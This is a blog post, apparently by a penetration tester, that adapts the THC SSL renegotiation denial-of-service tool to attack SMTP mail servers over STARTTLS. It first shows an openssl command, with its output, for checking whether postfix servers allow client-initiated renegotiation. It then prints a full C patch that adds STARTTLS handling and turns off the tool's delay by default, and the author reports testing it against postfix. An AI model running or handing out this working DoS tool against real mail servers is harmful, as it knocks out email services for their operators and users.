THC SSL Renegotiation DoS Tool for SMTP STARTTLS

The so called Secure Client-Initiated Renegotiation function of SSL/TLS suffers from a possible DoS danger because it burdens the server’s CPU orders of magnitude more than the client’s, who initiates it. Because of that, Client-Initiated Renegotiation is nowadays disabled by default in virtually all widely used SSL/TLS implementations.

However, I noticed that it seems to be still enabled by default on the postfix SMTP daemon including recent releases (postfix 2.6.6) and openssl (1.0.1j) versions and there appears to be no way of disabling it in the configuration. Since I already used the thc ssl dos tool which exploits this vulnerability in previous penetration tests on webservers, I thought it would be nice if it worked with SMTP mailservers supporting STARTTLS as well.

You can check whether a mailserver supports STARTTLS and (Secure) Client-Initiated Renegotiation with openssl if you just input “R” like this (if it doesn’t support it, you will see a handshake failure, timeout or no reaction):

$ openssl s_client -connect mail.mailhost.tld:25 -state -quiet -no_ign_eof -starttls smtp <<< 'R' 
SSL_connect:before/connect initialization
SSL_connect:SSLv2/v3 write client hello A
SSL_connect:SSLv3 read server hello A
depth=1 CN = Cert
verify return:0
SSL_connect:SSLv3 read server certificate A
SSL_connect:SSLv3 read server key exchange A
SSL_connect:SSLv3 read server done A
SSL_connect:SSLv3 write client key exchange A
SSL_connect:SSLv3 write change cipher spec A
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
SSL_connect:SSLv3 read server session ticket A
SSL_connect:SSLv3 read finished A
250 DSN
RENEGOTIATING
SSL_connect:SSL renegotiate ciphers
SSL_connect:SSLv3 write client hello A
SSL_connect:SSLv3 read server hello A
depth=1 CN = Cert
verify return:0
SSL_connect:SSLv3 read server certificate A
SSL_connect:SSLv3 read server key exchange A
SSL_connect:SSLv3 read server done A
SSL_connect:SSLv3 write client key exchange A
SSL_connect:SSLv3 write change cipher spec A
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
SSL_connect:SSLv3 read server session ticket A
SSL_connect:SSLv3 read finished A
DONE
SSL3 alert write:warning:close notify

So I went ahead and modified the C code of the thc ssl dos tool a bit. I knew it shouldn’t be hard but my C programming skills can’t even be considered rusty, since I never learned it properly to begin with. Having said that, The C Programming Language is a great oldschool book to learn C from scratch.

I’ve added a new -s flag which will make the tool initiate the SMTP STARTTLS procedure for each connection.
Here’s a patch for thc-ssl-dos.c that you can apply via patch thc-ssl-dos.c diff:

--- thc-ssl-dos.c	2011-10-25 10:04:08.000000000 +0200
+++ thc-ssl-dos-smtp.c	2014-11-27 18:15:49.000000000 +0100
@@ -26,6 +26,7 @@
 	uint32_t flags;
 	uint16_t n_peers;
 	uint16_t n_max_peers;
+	uint16_t do_starttls;
 	uint32_t ip;
 	uint16_t port;
 	fd_set rfds;
@@ -120,6 +121,7 @@
 init_default(void)
 {
 	g_opt.n_max_peers = DEFAULT_PEERS;
+	g_opt.do_starttls = 0;
 	g_opt.port = htons(443);
 	g_opt.ip = -1; //inet_addr("127.0.0.1");
 	FD_ZERO(&g_opt.rfds);
@@ -159,6 +161,7 @@
 "./" PROGRAM_NAME " [options] <ip> <port>\n"
 "  -h      help\n"
 "  -l <n>  Limit parallel connections [default: %d]\n"
+"  -s      use SMTP STARTTLS\n"
 "", DEFAULT_PEERS);
 	exit(0);
 }
@@ -169,7 +172,7 @@
 	int c;
 	int i;
 	static int accept_flag = 0;
-	static int skipdelay_flag = 0;
+	static int skipdelay_flag = 1;
 
 	static struct option long_options[] =
 	{
@@ -180,7 +183,7 @@
 	int option_index = 0;
 	
 
-	while ((c = getopt_long(argc, argv, "hl:", long_options, &option_index)) != -1)
+	while ((c = getopt_long(argc, argv, "hl:s", long_options, &option_index)) != -1)
 	{
 		switch (c)
 		{
@@ -189,6 +192,9 @@
 		case 'l':
 			g_opt.n_max_peers = atoi(optarg);
 			break;
+		case 's':
+			g_opt.do_starttls = 1;
+			break;
 		case 'h':
 		default:
 			usage();
@@ -487,6 +493,41 @@
 
 }
 
+static void
+smtp_starttls(struct _peer *p)
+{
+	//Toggle the blocking/nonblocking flag of the socket to set it to blocking since we need to read/write the socket
+	int opts;
+	opts = fcntl(p->sox, F_GETFL);
+	opts ^= O_NONBLOCK;
+	fcntl(p->sox, F_SETFL, opts);
+
+	//Read initial SMTP server banner
+	char buffer[256];
+	bzero(buffer, 256);
+	recv(p->sox, buffer, 255, 0);
+
+	//Send SMTP EHLO
+	char ehlo[] = "EHLO someserver.domain\n";
+	send(p->sox, ehlo, strlen(ehlo), 0);
+
+	//Read server reply
+	bzero(buffer, 256);
+	recv(p->sox, buffer, 255, 0);
+
+	//Send SMTP STARTTLS
+	char starttls[] = "STARTTLS\n";
+	send(p->sox, starttls, strlen(starttls), 0);
+
+	//Read server reply 220 2.0.0 Ready to start TLS
+	bzero(buffer, 256);
+	recv(p->sox, buffer, 255, 0);
+  
+	//Toggle the blocking/nonblocking flag of the socket again to set it to nonblocking
+	opts ^= O_NONBLOCK;
+	fcntl(p->sox, F_SETFL,opts);
+}
+
 /*
  * Called if in state STATE_TCP_CONNECTING
  */
@@ -502,6 +543,12 @@
 	len = 4;
 	getsockopt(p->sox, SOL_SOCKET, SO_ERROR, &errno, &len);
 
+	//Run SMTP STARTTLS
+	if(g_opt.do_starttls == 1)
+	{
+		smtp_starttls(p);
+	}
+
 	//DEBUGF("ret %d errno %d %s\n", ret, errno, strerror(errno));
 	ret = tcp_connect_try_finish(p, errno);

I’ve successfully tested that code against postfix mail servers.

Advertisements

One thought on “THC SSL Renegotiation DoS Tool for SMTP STARTTLS

  1. Pingback: THC SSL Renegotiation DoS Tool for ESXi authd (port 902) | alpacapowered

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s